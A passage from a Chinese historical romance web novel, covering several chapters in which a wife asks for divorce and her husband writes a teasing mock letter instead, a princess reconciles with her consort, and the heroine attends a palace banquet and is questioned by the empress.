春喜垂眸想了半天都没想到该如何破局,半晌鼓足勇气抬头看向沈清渊。 “夫君。” 沈清渊不语,只静静地看着她,春喜握紧拳头,一字一句道:“我醉酒闹事闯下大祸,不知得罪了多少权贵夫人,你休了我吧。” 不等沈清渊开口,春喜继续说。 “这罪虽不致死,但却后患无穷,日后朝堂上不知道有多少人会在暗地里给夫君使绊子,夫君唯有休了我才能不被迁怒……” “好。” 春喜话没说完,沈清渊就答应下来。 这话题虽然是春喜主动提的,但沈清渊答得这样爽快,春喜心里还是咯噔了下。 “夫君答应休了我?” 沈清渊反问:“这是夫人自己提议的,难道夫人只是说说而已,并不想让我答应?” 倒也没有不想,就是觉得到底做了大半年的夫妻,好歹可以挽留一下。 春喜心里酸得厉害,面上倒还是平静着,她摇了摇头:“没有,我是真心不想拖累夫君,希望夫君日后一切顺遂,官运亨通。” 沈清渊顺着她的话说:“托夫人的福,我如今分府单过,继母已亡,还得了陛下重用,日后不止官运亨通,想要再娶也很容易。” “……” 大人,我人都还没走呢,你就开始说再娶的事了,未免也太无情了吧? 春喜一颗心像是泡进了醋缸里。 虽然沈清渊的晋升和眼下拥有的财富都跟她没有多大的关系,但一想到不久之后他枕边睡着的会是其他女人,她就憋闷得喘不过气来。 可再怎么憋闷,眼下大错已铸,她总不能拉着沈清渊跟着她一起倒霉。 春喜强行打起精神:“是啊,夫君这样好,肯定会有很多姑娘喜欢的。” 沈清渊很是雷厉风行,当即就去书房写了一封“休书”。 亲眼看到他把私印盖在“休书”上,春喜的鼻子也跟着酸了。 沈清渊把“休书”递给春喜:“夫人看看可有不妥之处。” 春喜都快哭出来了,她根本没有心思看,接过“休书”直接折好。 “夫君当年可是状元郎,这休书必然也写得文采斐然,不会有什么不妥之处,那我这就去收拾行李。” 回到主院,打开衣柜,看着熟悉的一切,这几个月和沈清渊相处的点点滴滴全都涌入脑海。 春喜突然惊觉她早已把这里当成自己家,而沈清渊是她在这世上最最亲密、不可分离的人。 眼泪不受控制地滚落,春喜难过到无法呼吸,肩膀都跟着颤动。 这时沈清渊的声音从背后传来:“夫人是在哭吗?” 眼泪根本止不住,春喜索性也不装了,瓮声瓮气道:“这几个月夫君待我极好,我喜欢夫君,舍不得夫君,哭也是人之常情。” “既然如此难过为何不留下?” “我虽难过,却也不想连累夫君毁了前程,夫君这样好的人,就应该做大官造福江山社稷。” “……” 沈清渊没再劝,静静地看着春喜边哭边收东西。 不过几个月,春喜置办了不少东西,加上皇后赏的,萧夫人送的,一时半会儿竟收不完。 她扭头看向沈清渊,轻声问:“大人,东西太多了,我能在这里再住几日吗?三日行不行?” 春喜是真的难过,眼睛鼻子都哭得发红,这样泪眼汪汪地看过来,可怜极了。 沈清渊暗暗叹了口气,无奈道:“夫人还是先看看休书的内容再忙活吧。” 休书能有什么好看的? 但想到以后可能很少有机会见到沈清渊,春喜还是乖乖拿出了“休书”看起来。 岳父大人,你女儿阿喜真是好没良心啊。 看到第一句春喜整个脑子都卡住了。 等会儿,这是写的什么玩意儿? 第199章 夫人要说永远都不离开为夫 岳父大人,你的女儿阿喜真是好没良心啊。 小婿诚心求娶,婚后数月更是待她疼爱有加,哪怕她嫌弃小婿年纪大,去无忧阁找小倌玩乐,甚至还把人带回家,小婿都毫无怨言,她却因为一点儿小事问小婿索要休书。 小婿身为男子汉大丈夫,又年长阿喜好些年岁,难道连为她遮风挡雨的能力都没有吗?而且数月相处,在她心里,小婿竟是个大难临头就要抛下枕边人独自高飞的薄情之人,阿喜如此实在令小婿心寒。 小婿在此恳请岳父托梦好好管管她。 看完“休书”的全部内容,春喜整个人都呆住了。 这哪里是休书,分明是写给她爹的告状信,亏她还伤心这么久流了这么多泪! 满腔的伤感消失无踪,春喜红着眼瞪着沈清渊:“我是真心怕连累大人,大人却写这样的东西戏弄于我,实在是太过分了。” “那夫人连商量都没有就要与我分开,把我当成薄情寡义之徒难道就不过分?” 沈清渊反问,表情和语气都是前所未有的严肃。 春喜的气势顿时弱了一半:“我自然是相信夫君不会弃我而去的,可正是因为夫君很好,我才不想连累夫君。” “夫妻本是同林鸟,若我被贬谪流放,夫人难道也希望与我一拍两散?” “当然不会!”春喜毫不犹豫地回答,“夫君若被贬谪流放,不管是天南海北,我都是要陪着夫君一起去的,若是夫君不幸被歹人所害,我虽没有能力为夫君沉冤,但也能拼了这条命为夫君报仇雪恨。” “夫人都能以此心待我,我自然也会对夫人不离不弃。” 沈清渊说着上前一步,拿走春喜手里的休书:“我与夫人既已结为夫妻,此生不管遇到什么情况都只有丧偶,没有离异,夫人可记住了?” 沈清渊的语气很沉,带着隐隐的怒火,但更多的是对春喜的爱重。 春喜眼眶发热,又想哭了。 “可是我昨晚打了那么多人,惹下这样大的麻烦,那些人肯定会在朝堂上针对夫君,我又帮不上夫君什么忙,与其长年累月的消耗这份情谊相看两厌,不如早日……” “不如早日什么?” 沈清渊一记眼刀子甩过来,春喜没敢继续说下去,下一刻却被沈清渊扣住后脑勺,用力吻下来。 带着惩戒的意味,沈清渊吻得很凶,春喜有种整个人都要被吃掉的错觉。 不知过了多久,沈清渊终于放开她:“好好在我身边待着就是帮我的忙,我保证我们不会相看两厌。” “可……” 春喜还是觉得不安,沈清渊索性把她抱起来:“我本想晚几年再要孩子,既然夫人控制不了要胡思乱想,那提前一点也无妨。” 啊??? 这跟要孩子有什么关系? 春喜想要反驳,却被沈清渊拽入无边的欲海。 许是被春喜刺激到,沈清渊今日格外的深入,恨不得与春喜骨血相融,完全变成一个人。 情到浓时,沈清渊抓住春喜的手和她十指相扣,带着微微喘息的低沉嗓音在她耳边呢喃:“夫人,你要说你永远都不会离开为夫。” 春喜浑身都控制不住战栗,完全丧失思考,只能乖顺地照做:“夫君,我永远都不会离开你的。” 从傍晚折腾到深夜,春喜又累又饿,再也不敢提休书的事。 好在小厨房一直煨着饭菜,春喜能及时补充能量,不至于饿晕过去。 沈清渊陪着春喜吃了一些,然后拿出那封“休书”点燃烧掉。 春喜本以为这件事就这么过去了,下一刻却听到沈清渊对着那火光煞有其事地说:“还请岳父大人好好看看这信,日后小婿受了委屈再写信给您。” 春喜:“……” 大人,我爹也就是你岳父都走好多年了,你这样打扰他其实挺不好。 沈清渊折腾得太狠,春喜第二日下床两腿还有些战战,等沈清渊去了御史台,春喜立刻派人去外面打探情况。 打探消息的人前脚刚走,恒阳公主后脚就带着人上门了。 “我要在这里暂住几日,阿喜你给我安排个房间吧,也不必如何布置,我的人会回公主府取我惯用的东西来的。” 恒阳公主并不是跟春喜商量,只是通知。 春喜眼皮一跳。 公主不是陛下一母同胞的亲妹妹吗,只是喝醉酒打了一架,也不至于把人赶出公主府吧,她原本还想着有公主庇护处境能不那么艰难呢。 “公主府发生什么事了吗,公主怎么突然要住到这里来?” 春喜小心试探,恒阳公主扬手让丫鬟婆子退下,然后撑着脑袋叹了口气,苦恼道:“本公主这些年可能错怪驸马了,自从昨日在巡夜司拿出澄清告示后,驸马就总是在本公主面前晃悠,本公主怀疑他是想让本公主道歉,只能来你这儿避避。” 春喜讶然:“公主是为了躲驸马,不是因为被陛下训斥了?” “本公主又没有做错事,皇兄为何要训斥本公主?” “可是前日夜里公主不是和我一起打了好些世家夫人吗,她们能忍气吞声?” “你家老沈亲自坐镇巡夜司,已经查明是她们无视皇家挑衅本公主在先,你是为了保护本公主才动手的,她们理亏,有什么好忍气吞声的?” 春喜:“……”??? 所以这件事早就完美解决了,而她还蠢兮兮地去问沈清渊要休书? 想到自己昨日犯的蠢,春喜不知该作何表情,恒阳公主不知道她在想什么,把话题拉回到温砚书身上。 “其实这些年也不能怪本公主误会驸马,他虽然把澄清告示贴得满城都是,但没有一个人来告诉本公主,他也从未当面跟本公主说过他根本不喜欢云晚棠,本公主隔三岔五就能听到他和云晚棠的一些传闻,有些误会也很正常,你说对吧?” 恒阳公主要是真的觉得自己理直气壮就不会躲到外面来了。 春喜暂时压下自己做的蠢事,认真分析了一番问:“公主误会驸马这些年,有对驸马做过什么吗?” “也没做什么,就是不许他近我的身,喜欢骂他狗东西,自无忧阁成立后,隔三岔五就跟无忧阁的小倌玩得夜不归宿。” “……” 这样听起来,驸马怎么好像有点儿惨? 春喜帮着公主出谋划策起来,与此同时,卫家凌枫院却是气氛压抑。 第200章 云晚棠和禾儿一起来了 “夫人这是什么意思啊,怎么突然非要少夫人亲自绣百寿图给老夫人贺寿,老夫人今年又不是过大寿,而且现在离老夫人寿辰还不到两个月,这时间也太紧了。” 雀枝担忧地看着萧清禾,语气忍不住有些怨怪。 萧清禾伏在绣架前,认真地绣着百寿图,淡淡警告:“雀枝,慎言,我身为卫家的孙媳妇,亲自为祖母做寿礼是理所应当的。 “可是时间这么紧,少夫人这样熬着,下个月再来癸水会更难受的。” 雀枝说着眼眶有些泛红。 在家里的时候,少夫人可是金枝玉叶,何曾被要求做过这样的事,夫人分明是寻了个由头故意惩罚少夫人呢。 可那晚的事又不是少夫人的错,夫人怎能迁怒少夫人呢? 萧清禾手上动作不停,平静道:“雀枝,我想吃你做的酥络了。” “……奴婢这就去做。” 雀枝离开不久,云晚棠就和云氏一起来了凌枫院。 当众给恒阳公主下跪让云晚棠颜面尽失,但才过去两日,云晚棠就恢复了平日的优雅从容,那件事似乎没有给她带来任何打击和不好的影响。 见萧清禾在绣东西,云晚棠先是夸赞了一番她的绣工,而后又诧异地问:“府里不是有绣娘吗,禾儿怎么亲自绣上东西了?” 云氏板着脸替萧清禾回答:“母亲的寿辰要到了,是我让禾儿绣幅百寿图给母亲做寿礼的。” “卫老夫人的寿辰还有不到两个月,阿姐这个时候才让禾儿绣百寿图也不怕熬坏禾儿的身子?”云晚棠越发诧异,盯着云氏看了一会儿肃了语气,“阿姐可是为了我故意寻了由头惩罚禾儿?” 被当面戳穿,云氏也不心虚,理直气壮道:“若不是她站出来说话,事情根本不会闹到这种地步,我只是想让她静静心,好好想想该如何做一个合格的世家妇。” 春喜靠着沈清渊的关系跟萧清禾沾了亲,但那也比不上云晚棠跟卫凌泽亲。 云氏并不是要萧清禾不顾春喜偏帮云晚棠,在那种情况下,萧清禾只要保持沉默,不偏不倚,她都不会如此动怒。 泽儿几次伤人,萧清禾在家里闹一闹也就罢了,但在外面丝毫不顾及卫家的颜面,云氏便不能忍了。 云晚棠听完云氏的话顿时冷了脸:“禾儿什么都没有做错,阿姐怎能如此对待禾儿?” 说着话,云晚棠直接抢过萧清禾手里的针线扔掉。 “禾儿是被我和恒阳公主之间的恩怨无辜卷入其中的,当时恒阳公主虽然喝醉了,但第二日醒来必然会彻查此事,若禾儿当时不说出真相,等陛下或者太后下旨查出来,阿姐觉得事情不会更严重吗?” 云晚棠一声比一声高,说得云氏没了底气,云氏软了语气:“阿棠,我也是心疼你,这些年谣传不断,你也是受害者。” “我已是两个孩子的母亲,这点儿事有什么扛不住的,但禾儿还小,阿姐可曾想过要心疼心疼她,她如今也是卫家人,是阿姐应该护着的人啊。” 云晚棠说得情真意切,云氏看看她又看看萧清禾,最终低头道:“禾儿,对不起,这次是母亲不好迁怒你了。” 不等萧清禾开口,云晚棠又抢先道:“阿姐这件事处理得实在叫人寒心,还请阿姐先离开,我要与禾儿单独聊聊。” 云氏带着丫鬟婆子离开,屋里安静下来。 云晚棠一脸心疼地拉着萧清禾的手查看,嘴里满是关切:“你这孩子也真是太听话了些,明明不是你的错,怎么能让你做什么你就做什么呢,对了,除了我阿姐,泽儿可有因为这件事为难你?” 倒是不曾。 那天晚上卫凌泽见到萧夜辰后,脑中警铃大作,这几日都在暗中让人查萧夜辰的情况,还没有时间来凌枫院找茬。 萧清禾摇摇头,柔声道:“婆母和夫君都不曾如何苛责我,小姨不必如此生气。” “你是因我受的罚,我怎能无动于衷,”云晚棠蹙眉,满脸自责,而后道,“禾儿若是觉得委屈,我可送你回萧家小住几日,若是萧夫人问起,我自会帮你解释缘由,不会让你为难。” “多谢小姨关心,但我真的不觉得委屈,更没必要为了这点小事回娘家。” 萧清禾直接拒绝,云晚棠眸光微闪,她的言辞恳切,一般人应该早就感动落泪,萧清禾却始终平静,连一句委屈抱怨的话都不说,如此反倒叫她找不到地方切入。 云晚棠又安慰了几句,话题一转道:“禾儿不想回萧家也可以,那能陪我一起去看看你小婶婶吗,那晚她为了保护公主可能受伤了,我想亲自去道个歉,你也正好可以出去散散心放松一下。” 萧清禾也挺担心春喜的,顿时对云晚棠的提议动了心,片刻她答应下来:“好,我陪小姨一起去。” 云晚棠露出笑容,当即让人去准备道歉的礼物,第二日一大早,便跟着萧清禾一起去找春喜。 两人到时,春喜正和恒阳公主坐在一起吃燕窝。 恒阳公主相当挑剔,不止让人回去取东西把客房布置成自己喜欢的样子,还把公主府的厨子和食材都带了过来,每日变着花样地煮好吃的。 本来春喜还想借机表现一下自己的厨艺的,跟着吃了两顿后就完全放弃了这个想法。 公主府的厨子实在是太厉害了,做的菜那叫一个色香味俱全,而且用的食材全都是最好的,这可是外面花钱都吃不到的。 虽然公主完全没有要走的意思,春喜却已经开始不舍得了。 果然由俭入奢易,由奢入俭难,以后离了公主这生活该多没滋没味儿啊。 春喜刚在心里叹了口气,就听到下人来报,说云晚棠和萧清禾到了。 春喜下意识地看向恒阳公主。 虽然这是她自己家,但现在她得看恒阳公主的脸色行事。 恒阳公主喝完燕窝放下好看的琉璃碗,擦了擦嘴角,优雅道:“不看僧面看佛面,既然有禾儿一起,那就请她们进来吧。” 第201章 禾儿留下,你可以走了 恒阳公主下了令,云晚棠和萧清禾很快被带到主院。 看到恒阳公主和春喜一起坐着,两人皆是面露诧异。 恒阳公主身份尊贵,多的是去公主府讨好她的人,她很少会到别人家做客。 她能出现在这里,想来是很喜欢春喜了。 云晚棠很快收了诧异,一边在心里分析着形势,一边和萧清禾一起行礼:“臣妇见过公主。” “禾儿,快过来让我看看,我怎么感觉你好像又瘦了,眼睛还这么青,可是这几日没吃好没睡好?” 恒阳公主招招手,热切地关心起萧清禾。 萧清禾摇头道:“谢公主关心,臣妇挺好的。” “都这么憔悴了,好什么好啊,”恒阳公主嗔怪了句,直接让人去取上好的燕窝还有其他补品来,“你还年轻,得多爱惜自己的身子,以后上了年纪,可千万不能像你五婶一样。” “……” 春喜本来还觉得云晚棠被晾在一边怪尴尬的,听到恒阳公主这句话后,默默收起了自己那点儿同情心。 其实能被公主忽略也挺好的。 春喜都替云晚棠捏了一把汗,云晚棠倒是还很镇定。 她面色从容,静静看着公主跟萧清禾寒暄聊天,丝毫没有被忽视的不满和委屈。 不知过了多久,恒阳公主总算把人晾够了,这才看向云晚棠:“夫人专程登门怎么不说话?” “未得公主允准,臣妇不敢随意开口。” 云晚棠态度恭敬,似乎丝毫没有因为那天晚上被要求当众下跪而生出怨恨不满。 恒阳公主挑眉:“夫人这话说得本公主怪霸道的,这又不是公主府,本公主难道还能不让你说话?” 云晚棠立刻认错说自己失言了,萧清禾适时开口:“公主,小姨今日其实是来给小婶婶道歉的。” 云晚棠让下人把自己准备好的赔礼都拿给春喜。 “那天晚上沈少夫人为了保护公主应该受了些伤,这是我让人去回春堂买的伤药和祛疤膏,还有一些滋补身子的补品,希望沈少夫人不要嫌弃。” 云晚棠语气诚恳,表情也很认真,反倒是春喜听着有点儿心虚。 她的确是为了保护公主才冲上去的,但那些世家夫人个个养尊处优,哪里是她的对手,偏偏她喝得太醉,下手还没轻没重。 她虽然被人趁乱掐了几下,但可一点儿都没吃亏,而且这两日恒阳公主也拿了宫里的药给她擦着呢。 思索片刻,春喜想要拒绝,恒阳公主却先一步劝她:“人家都专程送上门来了,你就收着呗,方才你不是还在跟我说腰疼吗。” 春喜到嘴边的话立刻咽下去,公主说她腰疼那她就是腰疼。 等春喜收下赔礼,恒阳公主立刻下了逐客令:“本公主还有些话要跟禾儿说,夫人要是没什么事就可以走了。” 这话很是不留情面。 云晚棠看了萧清禾一眼,礼数周到的告辞离开。 等她一走,恒阳公主饶有兴致地看着萧清禾:“我还以为禾儿方才会帮她求情,或者起身跟她一起离开。” “我虽唤她一声小姨,但与她相处的时日并不多,公主不想见到她,我不能强人所难,而且公主并没有因为小姨迁怒于我,还愿意让我留下,我断不该拂了公主的好意。” 萧清禾很是拎得清,恒阳公主眸底带了笑,又问:“你不怕这样做你婆母知道后会不高兴?” “我虽是卫家妇,但也还姓萧,萧家教了我很多,但从未教过我要仰人鼻息而活。” 说这话时,萧清禾的神情平静,背脊挺得笔直,身子虽然柔弱,却将萧家人的风骨完美体现。 “说得好!”恒阳公主畅快地笑出声,“之前本公主还觉得你太循规蹈矩没什么意思,如今倒是觉得你也是个妙人,来人,拿酒,本公主今日要痛饮三百杯。” 都说知己难求,她如今一下子遇到两个,这可真是太好了。 春喜现在听到酒就头大,连忙劝阻:“臣妇身上的伤还没好,今日就不喝酒了吧,而且禾儿的酒量也不好,咱们喝茶。” 春喜一个劲儿地冲萧清禾挤眉弄眼,萧清禾弯眸附和:“是啊,臣妇的酒量不好,公主不如趁这个机会尝尝臣妇的手艺。” 两人一唱一和,恒阳公主眼珠一转,点头道:“喝茶也行,但得再找人助助兴。” 恒阳公主招手在丫鬟耳边低声说了几句话,丫鬟退下,没多久,七八个容貌俊美的乐师竟然堂而皇之地走进府来。 “咳咳!” 春喜被自己的口水呛到,还没从震惊中反应过来,便听到恒阳公主的惊呼声:“狗东西,你怎么在这儿?” 狗东西? 她好像在哪儿听过这个称呼。 春喜一边思索,一边细细看那几个乐师的脸,很快就看到了美貌碾压众人的驸马,萧清禾也是认识驸马的,煮茶的手抖了一下。 温砚书今日穿了一身素净的天青色锦衣,墨发用同色发带束着,手里拿了一支翠绿玉笛,整个人素成了竹,精致的五官反倒越发突出惹眼。 温砚书并不觉得自己这样的身份混迹在琴师之中是件丢脸的事,坦坦荡荡地开口:“我有话要当面与公主说,公主却躲着不肯见我,我只能前来献艺,希望能博得公主一笑,争取一个说话的机会。” “……” 这种情况,她们是不是应该回避一下? 春喜和萧清禾对视一眼达成共识,正要自请退下,恒阳公主先一步发话:“好啊,听说驸马当年极善音律,这么多年本公主还没听过呢,阿喜、禾儿你们也跟本公主一起品鉴一下。” “公主,这好像不好吧……” 春喜试图劝说,萧清禾点着头也想说话,驸马修长的指节一转,当场将笛子送到唇边吹了起来。 清透如泉的笛声瞬间荡漾开来,恰好有风吹来,驸马的墨发和衣摆都被吹得肆意翻飞,一时天地间的颜色似乎都汇聚到了他一个人身上。 所有人都被这一幕冲击的失了声,春喜更是忍不住在心里大喊。 幸好这人是驸马,他若是无忧阁的魁首,放眼全瀚京,谁能守得住那劳什子妇道啊! 众人陷在了驸马的绝世容颜和超高的音律技巧之中,云晚棠坐在回家的马车上却是满脸阴郁。 她低估了春喜和萧清禾的关系,还漏算了一个恒阳公主,眼下的局势很不妙,她必须尽快让泽儿复职,再除掉这个曹春喜才行! 第202章 入宫赴宴 驸马都找上门来献艺了,恒阳公主也不好再躲下去,只能跟着驸马一起回去。 公主府的丫鬟婆子连同厨子都跟着走了,整个宅子一下子空了下来。 离别来得太快,春喜心头不由得升起两分惆怅。 萧清禾见状宽慰:“小婶婶别难过,以后你跟公主还会经常见面的。” 是啊,又不是以后都不见了,公主府离他们家也不是特别远。 春喜很快压下惆怅,问起萧清禾的近况:“你之前说要准备和离,眼下如何了?” 萧清禾摇了摇头:“小姨说服婆母让卫凌泽搬出了凌枫院,卫凌泽最近对我的态度也有所改变,我目前还找不到合适的契机,只能再等等。” 除非卫凌泽主动提出要和离,抑或是卫家做了什么动摇萧家利益的大事,和离的事才不会被人诟病。 萧清禾本来也没指望能迅速解决。 她和小婶婶不一样,她不能只考虑自己,还得多想想萧家。 春喜了然地点点头,又听到萧清禾说:“卫凌泽在暗中调查无忧阁阁主,能不能麻烦小婶婶帮忙通知一下,让他小心一些。” 上次在云山寺多亏了无忧阁鼎力相助,春喜一直记着这份情,毫不犹豫地答应,等沈清渊下值回来,立刻让阿鲤去无忧阁送信。 阿鲤走后,沈清渊忽然开口:“前几日瞿县大雨,山体崩塌,官道中断,使臣团被困瞿县,暂时无法进京,今日消息才传回京中,陛下命我明日带人前去接应。” 春喜急急追问:“何时出发?夫君带多少人前往?会有危险吗?” “明日卯时城门一开就走,我会带二十御林军同往,附近几个县已经组织了人通路,我只需要等着路通后迎接使臣团,不会有危险。” 沈清渊逐一回答,春喜急急忙忙地就要去小厨房准备干粮,被沈清渊拉住:“瞿县离瀚京不过百来里,沿途驿站都有供给,若是顺利,十日之内我就能回来,安心在家等我回来就好。” 这次沈清渊走的时日虽然很短,但春喜的感受和上一次听到他要徐州查案时截然不同。 那时他们刚成婚,还没多少感情,她只为沈清渊能够得到重用而感到高兴,如今朝夕相处了好几个月,再次听到沈清渊要走,春喜心里更多的是担忧。 毕竟上次从徐州回来,路上就遇到了很多危险,万一使臣团出点儿什么岔子,沈清渊必然会受到牵连。 心里很不安,春喜主动环住沈清渊的腰,把脑袋埋进他的胸膛,用力吸着他身上的气息:“夫君,一路顺风,早点回来,这宅子我一个人好空,我会很想你的。” 感受到春喜对自己的依赖,沈清渊眸底带了笑,他抱了春喜一会儿,然后叮嘱:“我走以后,夫人不可喝酒闹事,不可再与公主招小倌玩乐,更不可随随便便买小孩儿回家。” 春喜刚开始还听得很认真,听到后面越来越觉得不对劲,她忍不住抬头瞪着沈清渊。 沈清渊笑出声来,在她唇上亲了一口,认真道:“我不在的时候,若是发生了什么棘手的事,夫人可去萧家找舅母商议,恒阳公主和无忧阁那位阁主也是可信之人,欠下的人情为夫回来后自会帮忙偿还。” 沈清渊语气平静,话里却满满的都是牵挂。 春喜眼眶发热,蹭着沈清渊的胸膛说:“夫君放心,你不在的时候,我一定谨言慎行、小心行事,把自己养得白白胖胖地等着夫君回来。” “好。” 收拾好行李,第二天天还没亮,沈清渊就出发走了。 春喜在大门口站了好一会儿才回屋睡回笼觉。 一觉醒来,就看到恒阳公主双手环胸站在床边,正挑眉看着自己豪放的睡姿:“我还以为你家老沈走了你会魂不守舍呢,没想到睡得挺香,看来你也不是多喜欢老沈嘛。” 公主,这话可不能乱说,万一让我家夫君听到,我这腰可就保不住了。 春喜噌的一下坐起来,往门口看了一眼,故意转移话题:“驸马没跟公主一起来?” “本公主又不是不认识路,要他跟来做什么。” 恒阳公主哼了一声,果然不再纠结刚刚的话题,从袖中拿了一个腰牌丢给春喜:“马上就是重阳节了,你一个人在府里过怪冷清的,我帮你要了一张帖子,到时跟我一起进宫参加宫宴,保证热闹。” 往年重阳节宫里并不会大办宴席,只是今年使臣团入京,才特意筹备了一番,如今使臣团虽然被耽误在瞿县,这宴席却还是要如期举行的。 恒阳公主给的腰牌不是铜做的,而是纯金打制,上面还刻着精致的凤纹,一看就尊贵无比,春喜像是接了个烫手山芋,连忙道:“公主,府里还有这么多下人呢,阿鲤也在,我不寂寞。” 能进宫参加宫宴的那都是贵人中的贵人,她就是再爱热闹也不能往那种地方凑啊。 春喜觉得很不妥,恒阳公主却道:“我皇嫂也想见见你,之前她还下旨给你和老沈补办婚礼,你难道不想借着这个机会当面谢恩?” 这倒确实该好好谢一下,而且皇后娘娘都说想见她了,岂容她推辞不去? 为了赴宴,第二日春喜和恒阳公主一起去逛街做了新衣裳,又置办了一些头面首饰。 很快,便到了中秋这日。 春喜起了个大早,收拾妥当早早地去到公主府等待。 第一次进宫参加宫宴,春喜本来是有些紧张的,但看到温砚书和恒阳公主一起出现后,满脑子的紧张都化作了无声的尖叫。 驸马他实在是太好看了! 今日入宫,驸马也精心打扮过,他穿了一身朱砂色绣如意纹锦衣,白玉冠束发,腰间环佩作响,不似平日那般素雅出尘,缓步走来时,贵不可言,然而那贵气只是点缀,衬得他那张脸越发的摄人心魄。 春喜有些看得呆住,恒阳公主却早已司空见惯,她并不与驸马同乘,反而招呼春喜换到她的马车上来陪她。 马车缓缓往前,春喜实在忍不住问:“公主,你跟驸马还没和好吗?” 看着那样一张脸,天大的错也该揭过去了啊。 更何况驸马还是被冤枉的。 恒阳公主挑眉:“你还有心思关心这个?” 春喜:“……” 公主,本来我刚刚都不紧张了啊! 第203章 沈夫人觉得卫大少爷是个什么样的人? 皇宫的门比春喜想象中高很多,守卫也很森严。 虽然她是跟着恒阳公主和驸马一起的,手里还拿着皇后娘娘给的金令,但还是要经过严格的查验才能进入。 宫道又宽又长,都能供马车并行,进去之后有软轿来接恒阳公主,春喜和温砚书自动跟在后面。 引路宫人低头走在最前面,每隔一段距离就能看到拿着长戟的禁卫军,到处都透着肃穆威严。 春喜不敢东张西望,一路安静地跟着,不知走了多久,温砚书与她们分开去到另外的地方,春喜身边没了人,不由得放轻呼吸,这时恒阳公主的声音从软轿上传来:“别害怕,驸马这是去御花园了,你先跟我去后宫见见人。” “是,公主。” 春喜恭敬应声,整个人还是不自觉紧绷。 时辰尚早,恒阳公主先带春喜去见的太后。 太后的慈宁宫很大,里面种满了各式各样的珍奇花卉,太后很宠恒阳公主,知道她会进宫,特意命人准备了恒阳公主爱吃的糕点。 一进殿,恒阳公主就亲亲热热地扑进太后怀里撒娇,母女感情相当的好。 春喜默不作声地跪下,等恒阳公主介绍到自己才开口行礼:“臣妇曹春喜拜见太后,太后千岁千岁千千岁。” “母后,儿臣与阿喜的脾性很是相投,很愿意和她做朋友,你让她起来说话吧。” 恒阳公主开口维护,太后自然没有为难,她让春喜起身,问了春喜几个问题,就架不住恒阳公主的缠闹,赏了好些东西给春喜。 赏赐到手,恒阳公主又陪太后说了些趣事,就带着春喜去了皇后的坤宁宫。 坤宁宫和慈宁宫差不多大,但宫里伺候的宫娥都比较年轻,没有慈宁宫那样沉闷安静。 她们到时,后宫妃嫔正好给皇后请完安正往外走。 这些妃嫔的年纪与恒阳公主差不多,全都保养得宜,风华正茂,隔着老远就能闻到好闻的香味。 春喜不敢打量,低着头福身行礼。 等这些妃嫔离开,春喜才抬起头来,却见一位华美的妇人正站在她面前饶有兴致地看着她。 妇人生得极美,杏眼柳眉,五官明艳,皮肤更是吹弹可破,虽梳着妇人发髻,却看不出年岁几何,一身贵气笼罩之下却仍能让人感觉到亲和温婉。 之前春喜觉得云晚棠一身的气韵很是特别,如今见了这一位才发现云晚棠也不过如此。 春喜只看了一眼就低下头去,正要开口请罪,妇人柔声开口:“你就是渊儿的新妇吧,母亲和大嫂都跟我提过你。” 这话一出,春喜立刻明白妇人的身份,连忙行礼:“臣妇曹春喜见过贤妃娘娘。” “不必如此多礼,本宫在闺中时,与渊儿的母亲很是亲厚,如今渊儿终于娶到他心仪的姑娘,本宫很为他高兴,本宫久居深宫,不能时常出府,今日难得遇见,正好补送个新婚礼物给你。” 贤妃说着,拿了一枚红宝石的戒指给春喜。 这戒指是金的,红宝石不知用了什么工艺,被切割成很多个菱形切面,在阳光下熠熠生辉,竟比金子更耀眼。 这也太贵重了。 沈清渊之前也没提过这位贤妃娘娘,春喜不知道该不该收,正犹豫着,恒阳公主撞了一下她的手肘:“傻愣着做什么,快谢谢你家表姐呀。” 恒阳公主一句“表姐”拉近了两人的距离,春喜双手接过戒指,连声谢恩。 又说了几句话,贤妃离开,春喜小心地收好戒指,和恒阳公主进到坤宁宫。 接受一众妃嫔的请安也挺累的,大殿里,皇后正在喝茶,身后还有个宫娥在帮她按揉脑袋。 见两人进殿,皇后立刻挥退宫娥,露出笑容:“恒阳来啦,以前你隔三岔五就要进宫来找我玩,最近可是好久都没来了。” 皇后尚未换上出席时穿的华服,但那一身母仪天下的威压仍旧让人不自觉想要臣服。 春喜正要跪下,却听到皇后说:“沈夫人不必多礼,你是恒阳公主的好朋友,也是本宫做主请进宫的,不必太过拘束。” “谢皇后娘娘恩典。” 春喜谢了恩,乖巧立在一旁。 恒阳公主与皇后的关系也很好,她毫不遮掩地对皇后说起自己的近况,有无忧阁新来的小倌,也有和春喜萧清禾结交的日常。 恒阳公主对那日醉酒和春喜一起跟那些世家夫人打架的事尤为自豪,把暗卫后来告诉她的来龙去脉都细细说出来,末了道:“皇嫂你是不知道,那晚要不是有阿喜同行。” 恒阳公主话里话外都是在帮春喜邀功,春喜却听得有些冒冷汗。 虽说已经那天晚上是别人先动的手,但她和恒阳公主醉酒出游也不是什么值得提倡的事,皇后母仪天下,是天下女子的表率,更不能支持恒阳公主继续放纵下去。 果然,下一刻,春喜就听到皇后说:“恒阳的酒量是出了名的好,没想到竟然有人能把她喝醉,看来沈夫人也是海量。” 春喜连忙道:“回皇后娘娘,臣妇确实能喝一些,但平日喝的都是叫不上名字的酒,并不知道公主府那些好酒的威力,一时大意这才喝醉险些犯下大错,臣妇这些日子认真反省过,以后一定浅尝辄止,绝不喝醉。” 春喜语气坚定,态度良好,丝毫不以打人为傲。 皇后眉梢微扬,看向恒阳公主,恒阳公主也道:“皇嫂放心,我以后也不会喝醉,就算喝醉了也在府里转悠,绝不出门招惹是非。” 得了恒阳公主这句话,皇后也没揪着这件事不放,还让人给春喜拿了赏赐。 春喜暗暗松了口气,跪下谢恩。 然而刚说完,又听到皇后问:“听说沈夫人之前贴身伺候了卫家大少爷三年,沈夫人觉得卫大少爷是个什么样的人?” 皇后语气随意,像是突然想起,随口问了这么一句,春喜脑子里却是警铃大作。 皇后母仪天下,虽不会直接干政,但所言所行背后都是有深意的。 难道陛下这么快就要起用卫凌泽? 第204章 来使是卫凌泽的手下败将 “回皇后娘娘,臣妇出身低微、见识浅薄,不敢妄议卫大少爷。” 春喜屈膝跪下,不敢接这话。 “沈夫人不必如此紧张,本宫不过是随口一问,你按照自己的切身体会回答就好,而且你如今是禾儿的小婶婶,也算是卫凌泽的长辈,评议他两句算不得什么。” 皇后语气温和,态度却颇为强硬,不容春喜拒绝。 春喜抿唇,陷入沉默。 皇后见状又补充了句:“不管沈夫人今日说了什么,本宫保证不会有只言片语泄露出去,并且恕你无罪。” 